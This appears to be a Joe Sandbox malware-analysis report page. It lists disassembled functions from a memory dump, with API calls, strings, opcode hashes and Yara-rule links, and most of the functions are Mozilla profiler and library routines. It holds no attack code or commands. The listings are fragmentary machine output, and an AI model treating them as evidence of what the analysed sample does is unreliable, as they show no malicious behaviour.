Function 6C508850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C5097EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C509813, 6C50985D, 6C509878, 6C509CEB

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 101a1386c2eda96c2189deb6d41b05084eb266588d0278388307f6a746a7bb2f
Instruction ID: f7887cb4ea50de78781068a46ab055558470119cbb2a52540d88bf9e2c9df778
Opcode Fuzzy Hash: 101a1386c2eda96c2189deb6d41b05084eb266588d0278388307f6a746a7bb2f
Instruction Fuzzy Hash: 1AD27C71B05A018FD718CF19C990715BBE1BF85324F29C7ADE86A8B7A9D731E841CB81

Function 6C526CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C526D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C526E1E

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: c43c739218325432496c41e962015d202ab065c188d7e18a269235810f4ba8ff
Instruction ID: 5ecdb61592703393abf739d6e228933e6e8214522ba880e145b9fd36e2151a03
Opcode Fuzzy Hash: c43c739218325432496c41e962015d202ab065c188d7e18a269235810f4ba8ff
Instruction Fuzzy Hash: 3AA16F74618384CFDB15CF24C8847AEBBE1BFC8308F45495DE48A87791DB74A949CB92

Function 6C54B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C51FE3F), ref: 6C54B720
RtlNtStatusToDosError.NTDLL ref: 6C54B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C51FE3F), ref: 6C54B760

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 3809ec78e9dff27107394a1df468fb49237c64b926cb1119365fac14e1ef9e77
Instruction ID: a26d21b8d10b14408cef0746ed18d95496b1c57f872f8b8d1bd36b6628367d04
Opcode Fuzzy Hash: 3809ec78e9dff27107394a1df468fb49237c64b926cb1119365fac14e1ef9e77
Instruction Fuzzy Hash: 82F0C8B090420CEEEF01ABA5CC84BEF77BD9B4831DF50912AE511656C0D774A9DCD661

Function 6C504640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C504777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C505585, 6C5055A8, 6C5055C3, 6C505624

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4cf41e148a6d3376e42d9401cb1ded7346dc72293e247b3beabbe36cd386f10d
Instruction ID: 777a99c947e364d1c5243875706031cf74eecfa9b65a622fa04a092a58196335
Opcode Fuzzy Hash: 4cf41e148a6d3376e42d9401cb1ded7346dc72293e247b3beabbe36cd386f10d
Instruction Fuzzy Hash: ACB26B71B05A018FD708CF19C990715BBE2BFC5324B29C7ADE86ACB6A5D771E841CB84

Function 6C5485F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C548C7C
__aulldiv.LIBCMT ref: 6C548DD7

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 636157cc39187a06ab75a7af2259383a0bee432c3331c0b45af6bf7d6aac7dc9
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 0B325C71F012198BDF18CE9CC8A17AEB7B2FB88700F15853AD506FB794DA349D458B92

Function 6C4EDFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

wTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsM, xrefs: 6C4EE3A2, 6C4EE7AC

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID: wTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsM
API String ID: 0-1952150952
Opcode ID: 5c79e807d1d7966eb80aad8bfa81b7fb5691c572c3c83eec1912d63f5d3805b1
Instruction ID: 8624bb227ec4c28f4cdce0ef45bbfa3de381c99ef08f443a3717e04420c7c44a
Opcode Fuzzy Hash: 5c79e807d1d7966eb80aad8bfa81b7fb5691c572c3c83eec1912d63f5d3805b1
Instruction Fuzzy Hash: F642D672A187508BD304CE3CC890B5AF3E2BFC9365F0A4B2DE999A7790D734D9418B81

Function 6C5576E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qNl, xrefs: 6C557796, 6C5579FB, 6C5579C0, 6C557E0B, 6C557B0B, 6C55793C

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID: ~qNl
API String ID: 0-3580445996
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 56022c6c64f4f9d6e8c9bd514eaf6d3eec43f15ad357a55f06e96693b43416f4
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 62320971E1061A8FCB14CF98C890AADFBF2FF88304F94856AC549A7745D731A996CF90

Function 6C556E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qNl, xrefs: 6C557C72, 6C5579FB, 6C5579C0, 6C557C03, 6C557E0B, 6C557B0B, 6C55793C

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID: ~qNl
API String ID: 0-3580445996
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 7c567fa1da39fa9c54718744d828b5fc4edda35dec9907b00d666ffd1864d295
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 8422E775E102198FCB14CF98C880AADF7B2FF88314F6485AAC949A7745D731A996CF90

Function 6C525C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C4F4A63,?,?), ref: 6C525F06

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: ad30cf47bf98e51ca3af412eaa194b98a486f3b8941a660e4ec185df4fdcc067
Instruction ID: cecf63d0ad4824646d3b24b4b3df23dc3601b5ba3a28718e199e6f9dd2340184
Opcode Fuzzy Hash: ad30cf47bf98e51ca3af412eaa194b98a486f3b8941a660e4ec185df4fdcc067
Instruction Fuzzy Hash: 37C1D375D012098BCB14CF65C9906EEBBF2FF89318F68815DD8556BB88D736A905CF80

Function 6C510512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d1cb2fbe63c33117ebdeafcfe53ec44a300e254557a88c6cbc0bf12809bf050c
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 3B222975E04659CFDB14CF98C894AADF7B2FF88304F54869AC44AA7B05D770A986CF80

Function 6C55AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1ea2d41810ef42c066f84f9743156f9c8c15fe6405c90c3bc1a266ea5782510
Instruction ID: e0e5b89fbdfd3bdeab93edd4df7a2e96f2c612d4aca318747424dee25d8625dd
Opcode Fuzzy Hash: f1ea2d41810ef42c066f84f9743156f9c8c15fe6405c90c3bc1a266ea5782510
Instruction Fuzzy Hash: E8F15A716083458FD700CE28CC903BAB7E2AFC5318F958A2EE8D5877D1E375D89587A2

Function 6C4EC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b00945f2a9746262c5c7f6c622e129983a8ce16cde2862ea9533303528a92cd2
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: F0A1A171F0021A8BDB08CE69C891BAEBBF2AFCC356F198129D955E7781D7345C068BD0

Function 6C527710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: ada2493c2a263d8c7b5d27bdd7331a91886c6e63dd6e0021371896b2678f8312
Instruction ID: 781199f72f88093d15dc4bdb55c116641ffbeae6b5d6672f3146992752660752
Opcode Fuzzy Hash: ada2493c2a263d8c7b5d27bdd7331a91886c6e63dd6e0021371896b2678f8312
Instruction Fuzzy Hash: 75716C75E012198FCB08CF99C8905EEBBF2FF89354F24816ED855AB780D735A905CB90

Function 6C52CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4F582D), ref: 6C52CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4F582D), ref: 6C52CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C55FE98,?,?,?,?,?,6C4F582D), ref: 6C52CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4F582D), ref: 6C52CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4F582D), ref: 6C52CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4F582D), ref: 6C52CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4F582D), ref: 6C52CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C52CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C52CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C52CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C52CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C52CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C52CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C52CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C52CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C52CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C52CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C52CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C52CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C52CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C52CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C52CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C52CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C52CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C52CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C52CEA0
default, xrefs: 6C52CC21
jsallocations, xrefs: 6C52CD0E
stackwalk, xrefs: 6C52CCF8
unregisteredthreads, xrefs: 6C52CE58
wTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsM, xrefs: 6C52CF3B
seqstyle, xrefs: 6C52CCE6
notimerresolutionchange, xrefs: 6C52CE00
leaf, xrefs: 6C52CC66
markersallthreads, xrefs: 6C52CE42
preferencereads, xrefs: 6C52CD92
java, xrefs: 6C52CC37
screenshots, xrefs: 6C52CCD4
nostacksampling, xrefs: 6C52CD7C
ipcmessages, xrefs: 6C52CDBE
fileio, xrefs: 6C52CC92
processcpu, xrefs: 6C52CE6E
power, xrefs: 6C52CE84
samplingallthreads, xrefs: 6C52CE2C
fileioall, xrefs: 6C52CCA8
cpuallthreads, xrefs: 6C52CE16
noiostacks, xrefs: 6C52CCBE
audiocallbacktracing, xrefs: 6C52CDD4
nativeallocations, xrefs: 6C52CDA8
mainthreadio, xrefs: 6C52CC7C

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads$wTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsM
API String ID: 1004003707-2649431439
Opcode ID: d7ac3e911eecb17ccf47998e6af235d3583fdf5b61f82877476ccbbb573d9542
Instruction ID: c10792a7138fd73e0a4153b576e53ca4be32fa9e595d73ceb4eccb30abd76b6c
Opcode Fuzzy Hash: d7ac3e911eecb17ccf47998e6af235d3583fdf5b61f82877476ccbbb573d9542
Instruction Fuzzy Hash: 0F51A9F194526952FB0571196D10BAA1484EF9734AF500837DD0AA1EC3FB0DF629C6B7

Function 6C4F47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4F4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F482D
__Init_thread_footer.LIBCMT ref: 6C4F484A

Part of subcall function 6C51AB3F: EnterCriticalSection.KERNEL32(6C56E370,?,?,6C4E3527,6C56F6CC,?,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB49
Part of subcall function 6C51AB3F: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E3527,6C56F6CC,?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51AB7C

GetCurrentThreadId.KERNEL32 ref: 6C4F485F
GetCurrentThreadId.KERNEL32 ref: 6C4F487E
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C4F488B
free.MOZGLUE(?), ref: 6C4F493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4F4956
free.MOZGLUE(00000000), ref: 6C4F4960
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C4F499A

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

free.MOZGLUE(?), ref: 6C4F49C6
free.MOZGLUE(?), ref: 6C4F49E9

Part of subcall function 6C505E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
Part of subcall function 6C505E90: memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
Part of subcall function 6C505E90: LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4F47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4F4828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4F4812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4F4A42
[I %d/%d] profiler_shutdown, xrefs: 6C4F4A06

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: e1c7a6cef0a1620b450bc1244c628283e852ef4c905c4a3adaf96c628fb2f90d
Instruction ID: e9dff906b6fda6685a6d7437e5413877a4c13bb3c4066d0988e182680bfb7058
Opcode Fuzzy Hash: e1c7a6cef0a1620b450bc1244c628283e852ef4c905c4a3adaf96c628fb2f90d
Instruction Fuzzy Hash: A581E470E001008BDB10DF2DCD44F6A3775AFC2369F151229E92697F61EB31E946CB9A

Function 6C4F4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4F44B2,6C56E21C,6C56F7F8), ref: 6C4F473E
Part of subcall function 6C4F4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4F474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4F44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4F44D2
InitOnceExecuteOnce.KERNEL32(6C56F80C,6C4EF240,?,?), ref: 6C4F451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4F455C
LoadLibraryW.KERNEL32(?), ref: 6C4F4592
InitializeCriticalSection.KERNEL32(6C56F770), ref: 6C4F45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4F45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4F45BB
InitOnceExecuteOnce.KERNEL32(6C56F818,6C4EF240,?,?), ref: 6C4F4612
